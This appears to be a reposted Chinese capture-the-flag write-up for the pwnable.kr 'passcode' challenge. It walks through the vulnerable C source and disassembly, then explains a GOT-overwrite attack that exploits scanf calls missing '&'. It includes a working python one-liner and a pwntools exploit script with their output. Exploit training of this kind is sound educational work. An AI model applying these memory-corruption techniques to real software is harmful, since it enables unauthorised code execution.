pwnable.krToddler‘s Bottle-[passcode]
Posted KUSIA_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.krToddler‘s Bottle-[passcode]相关的知识,希望对你有一定的参考价值。
进入服务器
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
妈妈让我做一个密码登录系统。
我的初始C代码被编译了,没有任何错误!
有一些编译器警告,但谁在乎呢?
输入命令回车,输入密码:guest 即可登录服务器。
C:\\Users\\22378>ssh passcode@pwnable.kr -p2222
passcode@pwnable.kr's password:
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \\| |__| || \\ / || \\ | | / _] | |/ ]| \\
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \\ | /
| | | ` ' || | || _ || O || || [_ __ | \\| \\
| | \\ / | | || | || || || || || . || . \\
|__| \\_/\\_/ |__|__||__|__||_____||_____||_____||__||__|\\_||__|\\_|
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Sun Nov 21 00:39:47 2021 from 27.96.197.230
passcode@pwnable:~$ ls
flag passcode passcode.c
passcode@pwnable:~$
下载文件
使用
scp远程复制
下载文件
scp -P 2222 -p passcode@pwnable.kr:/home/passcode/* ./
D:\\Desktop\\安全\\pwn\\pwnable.kr->file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
源码 passcode.c
$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login()
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\\n");
if(passcode1==338150 && passcode2==13371337)
printf("Login OK!\\n");
system("/bin/cat flag");
else
printf("Login Failed!\\n");
exit(0);
void welcome()
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\\n", name);
int main()
printf("Toddler's Secure Login System 1.0 beta.\\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\\n");
return 0;
main函数调用welcome() 在此输入名字,接着调用login() 在此输入passcode1和passcode2。并且满足
(passcode1==338150 && passcode2==13371337)
然后才会调用/bin/cat flag
得到flag。
但是注意,题目中说忽略了警告。仔细看可以发现
int passcode1;
int passcode2;
passcode1和passcode2定义的都是整数。但是在输入的时候
scanf("%d", passcode1);
scanf("%d", passcode2);
没有取址符号
!
在welcome中也一样
scanf("%100s", name);
没有取值符号的结果就是,会直接从栈中取四个字节(32位情况下)作为地址进行赋值。如果该地址不可写,就会造成内存错误。
反编译分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
puts("Toddler's Secure Login System 1.0 beta.");
welcome();
login();
puts("Now I can safely trust you that you have credential :)");
return 0;
login
.text:08048564 ; __unwind
.text:08048564 push ebp
.text:08048565 mov ebp, esp
.text:08048567 sub esp, 28h
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:0804857F mov [esp+4], edx
.text:08048583 mov [esp], eax
.text:08048586 call ___isoc99_scanf
.text:0804858B mov eax, ds:stdin@@GLIBC_2_0
.text:08048590 mov [esp], eax ; stream
.text:08048593 call _fflush
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
.text:080485A5 mov eax, offset aD ; "%d"
.text:080485AA mov edx, [ebp+var_C]
.text:080485AD mov [esp+4], edx
.text:080485B1 mov [esp], eax
.text:080485B4 call ___isoc99_scanf
.text:080485B9 mov dword ptr [esp], offset s ; "checking..."
.text:080485C0 call _puts
.text:080485C5 cmp [ebp+var_10], 528E6h
.text:080485CC jnz short loc_80485F1
.text:080485CE cmp [ebp+var_C], 0CC07C9h
.text:080485D5 jnz short loc_80485F1
.text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE call _puts
.text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
.text:080485EF leave
.text:080485F0 retn
.text:080485F1 ; ---------------------------------------------------------------------------
.text:080485F1
welcome
.text:08048609 ; __unwind
.text:08048609 push ebp
.text:0804860A mov ebp, esp
.text:0804860C sub esp, 88h
.text:08048612 mov eax, large gs:14h
.text:08048618 mov [ebp+var_C], eax
.text:0804861B xor eax, eax
.text:0804861D mov eax, offset aEnterYouName ; "enter you name : "
.text:08048622 mov [esp], eax ; format
.text:08048625 call _printf
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:08048632 mov [esp+4], edx
.text:08048636 mov [esp], eax
.text:08048639 call ___isoc99_scanf
.text:0804863E mov eax, offset aWelcomeS ; "Welcome %s!\\n"
.text:08048643 lea edx, [ebp+var_70]
.text:08048646 mov [esp+4], edx
.text:0804864A mov [esp], eax ; format
.text:0804864D call _printf
.text:08048652 mov eax, [ebp+var_C]
.text:08048655 xor eax, large gs:14h
.text:0804865C jz short locret_8048663
.text:0804865E call ___stack_chk_fail
.text:08048663 ; ---------------------------------------------------------------------------
.text:08048663
程序main函数中,welcome和login存在栈复用(welcome和login这两个函数是连续调用的,导致他们拥有相同的栈底),welcome调用gets向[ebp-0x70]读入100个字符,开的数组相对比较大,这里我们有一次布置数据的机会,可以造成信息泄露。
在login中,会把[ebp-10h] 、[ebp-Ch] 的内容为scanf要写入的地址。
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
.text:080485A5 mov eax, offset aD ; "%d"
.text:080485AA mov edx, [ebp+var_C]
函数调用过程中,一定会调用GOT表中函数,假如函数一定会调用print函数,流程大致是这样, 程序调用printf函数 > 访问PLT表对应表项 printf@plt > 跳转到对应的GOT表项 printf@got.plt 获得prinf函数地址 。
我们又可以通过welcome函数,修改任意GOT表中的函数调用地址(可以构造某函数GOT地址到[ebp-10h] 或者 [ebp-Ch] ),在scanf的时候
,完成GOT表覆盖
(tips 中介绍)。
当然一定要选择会被调用的地址,否则也是无用功。
EXP
找能够被调用的GOT表项
在login函数的输入之后调用了__fflush 函数,我们选择这个函数
点进去发现plt地址
继续,发现GOT表项地址为 0x804A004
将该表项中存储的地址改为(/bin/cat flag)的地址 0x080485E3
字符串的起始位置是ebp-0x70,转换成十进制也就是ebp-112,这说明字符串在栈中占了(ebp-112)-(ebp-13)这100个字节的位置。在上一步中,知道了scanf把ebp-0x10,也就是ebp-16开始的四个字节当作地址。这四个字节也就是字符串的最后四个字节。
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
.text:080485A5 mov eax, offset aD ; "%d"
.text:080485AA mov edx, [ebp+var_C]
把字符串最后四个字节改成GOT表项的地址0x804a004
,然后在运行scanf的时候,把0x080485e3
输入进去就可以了。
scanf传入的是%d格式的数,所以需要把0x080485e3转换成十进制134514147再输入。
python -c "print 'A'*0x60 + '\\x04\\xa0\\x04\\x08' + '134514147'" | ./passcode
执行流程大致是,调用welcome函数,输入name 为上面构造的字符串的前一百个字符,调用login函数中的scanf使得 后面的 134514147 覆盖 \\x00\\xa0\\x04\\x08 中的GOT_fflush地址,使得紧接着调用__fllush时候调用的是 cat flag 。
passcode@pwnable:~$ python -c "print 'A'*0x60 + '\\x04\\xa0\\x04\\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
passcode@pwnable:~$
Sorry mom.. I got confused about scanf usage :(
使用python脚本也可以。
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline('A'*96+'\\x04\\xa0\\x04\\x08'+'134514147')
print (sh.recvall())
TIPS
scanf不加&的后果
scanf函数在为变量赋值的时候,除了字符串和数组以外,变量名前都要加&,这是因为编译时系统会为变量分配一个地址,加&就是为了将输入的值存入这个预先分配好的地址中。如果变量前不加&的话,在赋值的时候就不是把输入的值存在预先分配的地址,而是从栈中取四个字节(32位情况下)作为地址进行赋值,这个值是不固定的,因此就会出现各种问题。
GOT表覆盖
在程序中,如果一个函数想调用printf、scanf等等这种系统函数时,要通过两个表来实现,一个是PLT表,一个是GOT表。
因为这些系统函数并不像自定义的函数那样在程序中存在固定的位置,而是在程序运行的时候根据需要动态加载的,这样可以避免一次性加载大量不必要的函数。但这样造成的问题就是,不同的程序中系统函数所在位置不同,每次调用的时候都要重新定位系统函数的位置。为了避免重复定位,就引入了PLT表和GOT表。
在一个程序刚开始运行的时候,系统会把程序需要的系统函数加载到内存中,然后把这些函数所在的地址一条一条的存放在GOT表中,然后PLT表项跟GOT表项一一对应,程序调用系统函数的话会访问PLT表的对应表项,然后再通过其中的jmp指令跳转到对应的GOT表项,获取函数真正所在的位置。以printf函数为例,流程如下:
程序调用printf函数 > 访问PLT表对应表项 printf@plt > 跳转到对应的GOT表项 printf@got.plt 获得prinf函数地址
这里需要注意的是,GOT表具有两个特征,一个是可写(因为要往里写函数地址),一个是表项中存的地址会直接跳转执行。这两个特征就决定了,可以把GOT表中的地址修改成任意代码的地址,来运行这段代码。这种改写GOT表项中内容的方法就叫做GOT表覆盖。
参考:
https://blog.csdn.net/Z_Pathon/article/details/100181177
https://blog.csdn.net/qq_18661257/article/details/54694748
以上是关于pwnable.krToddler‘s Bottle-[passcode]的主要内容,如果未能解决你的问题,请参考以下文章
pwnable.krToddler‘s Bottle-[fd]
pwnable.krToddler‘s Bottle-[random]